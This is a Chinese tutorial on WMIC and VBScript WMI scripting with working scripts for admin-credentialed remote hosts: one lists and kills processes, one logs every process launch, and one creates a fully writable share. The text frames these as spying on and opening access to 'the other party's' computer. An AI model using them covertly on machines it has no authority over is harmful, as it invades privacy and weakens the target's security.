执行“WMIC”命令将启动WMIC命令行环境。第一次执行WMIC命令时,Windows首先要安装WMIC,然后显示出WMIC的命令行提示符。在WMIC命令行提示符上,命令将以交互的方式执行。如果你不知道该如何和它交互,请敲个“/?”,细细看完全部的说明,你就知道了。WMIC也可以按照非交互的模式运行。如果要执行某个单步的任务,或者运行批命令中的一系列WMIC命令,非交互模式就很有用。要使用非交互模式,只要在同一个命令行上启动WMIC并输入要执行的命令就可以了。
1.任务一:利用WMIC列出远程计算机上的所有进程
这是一个实现起来很简单的任务,和你用一个DOS命令一样简单,因为我们要循序渐进嘛,所以安排了这么一个热身任务。在命令提示符下敲入下面的命令,我们将看到。
WMIC /node:192.168.1.2 /user:net process
解说:
1)上面命令中的NODE和USER是全局开关。如果你不愿意另外输一次密码,你也可以用PASSWORD开关,后面写上密码就可以了(WMIC /node:192.168.1.2 /user:net /password:password process)。千万要注意,这里的用户名和密码都必须是管理员级别的,其它的无效。WMIC提供了大量的全局开关、别名、动词、命令和丰富的命令行帮助增强用户接口。全局开关是用来配置整个WMIC会话的选项。
2)Process是个别名,执行了一个Win32_process类的WQL查询,至于说是WMI的类是什么东西,感兴趣的就自己找资料多多了解,如果你很懒的话,就等我有时间给你开课讲解。别名是用户和WMI名称空间一个简化语法的中间层。当你指定一个别名时,动词(Verb)表示要执行的动作。
3)如果你愿意,你可以在该后面加上个动词等,比如 LIST FULL等(如:WMIC /node:192.168.1.2 /user:net /password:password process),这样你就看得更清楚了。
小提示:安装了WMIC的机器可以连接到任何一台安装了WMI的机器,被连接的机器不需要安装WMIC。
2.任务二:利用WMIC关闭本地进程
执行下面的命令将关闭正在运行的QQ。我比较胆小,所以不敢关别人的QQ,只能拿我的QQ试验了,如果你的智商还够用的话,胆子比较大的话,你很快就会去关别人的了。
WMIC
process where name=”qq.exe” call terminate
解说:
1)这次我们是用交互式的方法来执行任务,具体界面我就不多说了,图上画的比我说的好多了。
2)Call也是个动词,这个动词可是厉害了,控制类的没有不用它的,它就是可以调用各种类的各种方法的大将。这里我们调用了terminate方法。从字面上你就可以看出是恶狠狠的。
3)Where能够让你查询和筛选。在超级多的实例中找到你想要的。实例就是指每个类的具体实现了。前面的例子中看到的各个进程都分别算是WIN32_PROCESS中的一个实例。
3.任务三:通过WMIC把远程主机的进程信息保存在一个网页中
这个任务和任务一中的大致相同,是任务一的加强。在任务一中信息以文本的形式显示出来了。其实除了文本形式的输出之外,WMIC还能够以其他形式返回命令执行结果,例如XML、HTML或者CSV(逗号分隔的文本文件),如图3所示。我们可以敲入下面的命令:
wmic /output:C:\1.html /node:192.168.1.2 /user:net process list full /format:hform.xsl
输入密码 ?*****
解释:
1)全局开关OUTPUT指明将这些信息保存在什么地方。
2)全局开关FORMAT指明了用什么样的格式,至于说有那些格式可以用,你可以参看C:\WINDOWS\system32\wbem目录中的*.xsl文件,你甚至不用管它们从哪里来的,用就是了。挨着看看,一定可以找到你喜欢的。
第二部分:利用脚本来认识WMI
命令提示符的工具确实好用,但是却显示不出我们是高手,高手都是能利用程序来实现目的的。下面我们就开始用脚本来实现我们的任务,功能将更加强大,操作将更加灵活。
无论脚本还是真正意义上的程序,要检索 WMI 托管资源信息进而查询并利用WMI,都需要遵循以下三个步骤的。
1.连接到 WMI 服务。建立一个到目标计算机上的 Windows 管理服务的连接。
2.检索 WMI 托管资源的实例。主要取决于要执行的任务。
3.显示WMI 某实例属性和调用其方法。
1.任务四:利用脚本实时监视对方进程
在任务一和任务三中我们都是在查看对方的进程,出来的结果对我们意义不是很大,在这个任务中我们要从现在开始每当他开一个任务我们就察觉到,并把它记录下来。我们要在他开进程的那一秒开始报告并记录,我们要清楚他所开的程序所在的位置,我们要比他更清楚地知道这些信息。
现在我们就按照前面提到的三个步骤来实现任务。
首先,我们连接到对方的WMI。在这里我们首先调用 VBScript 的中的Createobject()来得到一个对象,然后利用这个特殊的对象的方法来连接到远程的计算机上。这个特殊的对象就是wbemscripting.swbemlocator。
set olct=createobject(“wbemscripting.swbemlocator”)
set wbemServices=olct.connectserver(strComputer,“root\cimv2”,strUser,strPwd)
注意其中的strComputer就是你所要连接的计算机的名称或者IP地址,strUser,strPwd当然就是用户名和密码了,我们说过这个用户必须是具有管理员权限的才可以。root\cimv2是WMI的命名空间,关于WMI的命名空间,大家可以到“计算机管理\WMI控件”中看到,这里面的学问就大了,得慢慢琢磨,为了我们的任务快速实现,我就不多解释了。用这种方法连接到WMI,返回一个对SWbemServices对象的引用,一旦有一个对 SWbemServices对象的引用。我们就可以进行第二个步骤了。
在第二个步骤中,我们将得到WMI 托管资源的实例,我们利用WbemServices中的一个方法ExecNotificationQuery可以查询我们所要的类,进而可以得到该类中实例。
Set colMonitoredProcesses = wbemServices. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa ‘Win32_Process’")
注意这里有个类似于SQL语言的查询语言,这里叫做WQL语言,懂SQL的一看就明白了,不懂的就在网上找找它的资料,满天都是。得到的colMonitoredProcesses是所查询的类的实例的集合。有了这些我们的第三个步骤就可以开始了。
在第三个步骤中,我们将显示出得到的实例中的属性。刚才我们得到的是实例的集合,在这里我们通过colMonitoredProcesses.NextEvent来获取每一个具体的实例,得到每一个具体的实例后,我们就可以显示出他们的属性,也就是我们想看的东西了。这里我们显示了CommandLine的属性值。
到现在你是否有些迷惑了,因为你还不知道到底WMI里面有那些类,具体类又有哪些属性,呵呵,没有关系的,用一些工具可以很轻松的得到这些信息。比如系统自带的wbemtest,在运行中敲入这个程序名,你就可以看到这些了,它也遵循连接、查询、枚举这三个步骤。自己慢慢玩吧,很快你就会发现WMI太大了,单是命名空间就有10多个,然后单是我们常用的空间root\CIMV2里面就有近1000个类,每个类里面又有好多的属性,有些类还有好多方法。哈哈,头晕了吧?没关系,其实你只需要知道其中的一些就好了。
看到这些估计你的头已经很大了,但是恭喜你,我们的这个任务已经完成了,是的,就是这么简单,下面我将完整代码奉献出来。
Set colArgs = WScript.Arguments
If WScript.arguments.count < 3 then
WScript.Echo “USAGE:” & vbCrLf & " Monitor Computer User Password files"
WScript.quit
End If
strComputer = wscript.arguments(0)
strUser = wscript.arguments(1)
strPwd = wscript.arguments(2)
strFile = wscript.arguments(3)
set olct=createobject(“wbemscripting.swbemlocator”)
set wbemServices=olct.connectserver(strComputer,“root\cimv2”,strUser,strPwd)
Set colMonitoredProcesses = wbemServices. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa ‘Win32_Process’")
i = 0
Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
Wscript.Echo now & " " & objLatestProcess.TargetInstance.CommandLine
Set objFS = CreateObject(“Scripting.FileSystemObject”)
Set objNewFile = objFS.OpenTextFile(strFile,8,true)
objNewFile.WriteLine Now() & " " & objLatestProcess.TargetInstance.CommandLine
objNewFile.Close
Loop
到这个程序的核心了吧?相信你已经懂了其中的很多,剩余的部分代码我稍后解释。我们先来感性认识一下,先看它该怎么用吧!把上面的代码拷贝到记事本中,然后保存为monitor.vbs的文件,然后在命令提示符下输入:
CSCRIPT monitor.vbs
回车,你就会看到帮助,下面举例说明这个脚本的具体用法:
CSCRIPT monitor.vbs 192.168.1.2 user password C:\1.txt
在命令提示符下敲入上面的命令就OK了,每当对方开一个程序的时候,你就可以看到时间,程序路径和程序名。如果你没有时间去看这些信息,你还可以等有时间的时候到C:\1.txt看到这些信息。
小知识:
每次使用脚本,都必须敲入CSCRIPT和脚本的后缀名,很麻烦。这是因为系统默认的执行引擎是WSCRIPT,可以将它改成CSCRIPT。另外一个让人不爽的是脚本执行后总要显示微软的说明,好像脚本不是我们写的一样。不过你可以通过在命令提示符下敲入下面的命令来解决这个问题:
cscript //nologo //h:cscript //s
这样你以后再运行这些脚本的时候就不用在敲入CSCRIPT了,也不用在写入.vbs的后缀名了,就上面的例子来说,你可以这样用:
monitor 192.168.1.2 user password C:\1.txt
解释:
1)前面的那几行,大概就是为了显示帮助和处理我们在后面输入的参数。应用到了WScript.Arguments这个对象,利用它我们可以来获取并处理脚本的参数。
2)那个死循环是为了让我们一直监视他(她),每当他开一个程序,我们就得到一个新的实例,我们就可以知道他更多的信息,哈哈,够狠吧。这样你也就知道了,当我们这个脚本运行后,只有通过我们人为中止才能中断监视,人为中止的方法大家可以用CTRL+C来完成,也可以用各种野蛮的方法来中止。
3)在代码中出现的另外一个核心对象就是FileSystemObject,应该是大家的老朋友了吧,我这里就不再做解释了,我们在这里应用它主要是为了将结果同时保存到一个文件中,我们利用它来创建或打开一个文件,将信息追加进去。
4)至于那个NOW,虽然体积很小,但是却正是它给我们提供了时间这个重要的信息。
5)如果你想要监视的是自己的计算机而不是远程的计算机(据我所知,这个应用还是很广的)。那么请将计算机名的参数写为一个小点,用户名和密码留为空。如下所示:
monitor . “” “” C:\1.txt
2.任务五:利用脚本给对方开放共享
有了任务四的基础,这次我们就先看代码吧:
Set colArgs = WScript.Arguments
If WScript.arguments.count < 5 then
WScript.Echo “USAGE:” & vbCrLf & " Rshare Computer User Password SharePath ShareName"
WScript.quit
End If
strComputer = wscript.arguments(0)
strUser = wscript.arguments(1)
strPwd = wscript.arguments(2)
strPath = wscript.arguments(3)
strShareName = wscript.arguments(4)
intMaximumAllowed = 1
strDescription = “Temporary share”
Const SHARED_FOLDER = 0
set olct=createobject(“wbemscripting.swbemlocator”)
set wbemServices=olct.connectserver(strComputer,“root\cimv2”,strUser,strPwd)
Set objSWbemObject = wbemServices.Get(“Win32_Share”)
intReturnvalue = objSWbemObject.Create(strPath, _
strShareName, _
SHARED_FOLDER, _
intMaximumAllowed, _
strDescription)
if(intReturnvalue = 0) Then
WScript.Echo “The share have been created successfully”
End If
解说:
1)我们可以看出来前面的那几行是为显示帮助和处理输入参数而存在的。
2)紧接着设置了几个变量,为以后做参数用的。这里我们可以先不理会它。
3)连接到主机的WMI,然后就是查询。前面已经说的很详细了。
4)这次得到实例集后,我们用了它的一个方法,也就是这个方法让共享成为了可能,联系到第二部分的内容,我们不难知道第一个参数表示要共享的路径和文件名,第二个参数表示共享名,第三个参数为0就可以了,第四个参数是指可以连接的人数,第五个参数是共享描述了,而我们只关心前面的两个参数。如果手头有MSDN那就好办了,到MSDN中可以查到该方法的更详细的内容。
5)这次我们根据第四步的返回值来得到共享是否成功,并给出提示。不同的返回值代表不同的意义。这个信息在MSDN中可以很清楚地查到。比如0代表成功返回,2代表拒绝访问,9代表用户名错误,25代表主机名没有找到等等。
6)这次我们要注意的是,用这个脚本来实现远程文件共享,要求远程存在这个文件,否则无法共享。当然你也可以利用教本创建自己的文件夹,很容易的,自己创建吧。
7)如上脚本创建后的共享是完全共享。就是可以删除修改文件的。
8)用法举例:share netp net swswsw C:\dodo marsh
好了,到现在为止,大家应该对这位朋友有些了解了,我的介绍任务也就告一段落了,如果大家想进一步认识它,那就主要靠大家的主动性了。这次我们主要通过WMIC和脚本来认识它,下次我将带领大家通过真正的程序代码来认识它,让它也有个象Windows一样漂亮的脸蛋。今天我所提到的估计只能算是WMI的万分之一,都算不上是冰山一角。剩余的要靠自己来发挥了。如果你肯利用你的所学,那么奇迹就会产生。
-
vbs教程.pdf
2012-01-26 15:35:52vbs教程.pdf -
vbs 教程
2011-04-12 23:08:02vvvvvvvvvvvvvvbbbbbbbbbbbbbbbbbsssssssssssssssssssssssssssssssss -
WMI教程,VBS教程,adsi教程三合一教程
2011-05-18 14:57:38本资料涵盖了VBS的方方面面,实例演示,WMI调用,ADSI域管理等等,不可多得的好脚本资源啊 -
vbs教程(微软的说明教程)
2010-08-04 13:39:53vbs教程(微软的说明教程)完整版 附带js介绍 -
非常全面的批处理和VBS教程和资料
2011-12-16 14:55:52史上最全面最丰富的命令行、批处理和VBS教程和资料。欢迎下载! -
VBS教程 创建txt文件
2019-04-24 09:43:58VBS教程 创建txt文件 -
VBS教程:VBscript语句-For...Next 语句
2021-04-23 19:47:20For...Next 语句以指定次数重复执行一组语句。For counter = start To end [Step step][statements][Exit For][statements]Next参数counter用做循环计数器的数值变量。这个变量不能是数组元素或用户自定义类型的元素... -
VBS教程(文本版)
2010-05-05 11:34:48VBS教程(文本版)保证学的会 OKOK -
VBS入门教程
2018-03-29 16:38:37Msgbox是VBS内建的函数,每一个函数都可以完成一定的功能,你只需要按照语法要求,在函数的相应部分填写相应的内容就可以了,这部分内容我们称为参数,当然函数执行的结果我们称为返回值,一个函数可以有返回值也... -
新概念vbs教程
2013-11-15 15:41:44新概念vbs教程,文档为DJVU格式,推荐使用WinDjView(版本0.5版,Andrew Zhezherun(编译:RAOGY 汉化:斑竹零号))。 通过讲解和8个实例深入学习VBS。 -
VBS教程(共六篇)
2013-08-07 10:23:55一份低调的vbs教程、下载下来看看吧、好好学习天天向上。 -
VBS教程_带实例
2011-12-05 17:18:43微软,VBS教程_带实例,非常适合初学者! -
VBS教程(带实例)
2013-07-17 11:27:36很好的VBS教程(带实例),适合零基础的人。如果有基础的就不要下了。 -
vbs教程《环境变量》
2016-12-29 18:15:56set ws = createobject("wscript.shell") rem 获取环境变量值 rem msgbox(ws.expandenvironmentstrings("%path%")) rem msgbox(ws.expandenvironmentstrings("%xiaohei_path%")) rem 系统环境变量对象集合 ... -
vbs教程《模拟按键》
2016-12-29 18:01:43set ws = createobject("wscript.shell") rem 运行记录本程序进行测试发送按键 ws.run("notepad") rem 暂停0.1秒,防止程序还没启动就发送按键 wscript.sleep(100) rem 输入1个x rem ws.sendkeys("x") ... -
vbs教程《弹出窗口》
2016-12-29 18:08:57set ws = createobject("wscript.shell") dim x1 rem 弹出输入框 inputbox(text, title, default_value) x1 = inputbox("请输入一个数字:1/2/3/4/5/16/32/48/64", "标题", 0) rem 弹出消息框 msgbox(text, type, ... -
vbs教程 vbs教程
2009-08-20 09:28:29教程简单易学,学完很有成就感教程简单易学,学完很有成就感教程简单易学,学完很有成就感 -
很好的VBS教程(带实例)
2010-08-14 02:05:31很好的VBS教程(带实例) 推荐第一篇: 讲一下VBScript。主要面向菜鸟,懂得编程的朋友就不要浪费时间了,如果你想接触以下VBScript也可以。但既然有编程基础推荐直接去找一些参考书来读。会比较快。 什么是... -
很好的VBS教程
2014-03-18 10:01:06很好的vbs教程,vbs的基本语法,自动化测试vbs脚本语言 -
vbs基础教程
2020-08-07 14:38:30vbs基础教程 前言 笔者学习vbs的资源来源于博客中的文章,写成博文时,有些难免理解错误,遇到错误的地方,请提醒我改正,谢谢。有些部分使用了其它博文的资料参考。 1.创建vbs脚本,Hello World! 鼠标右键,创建文本...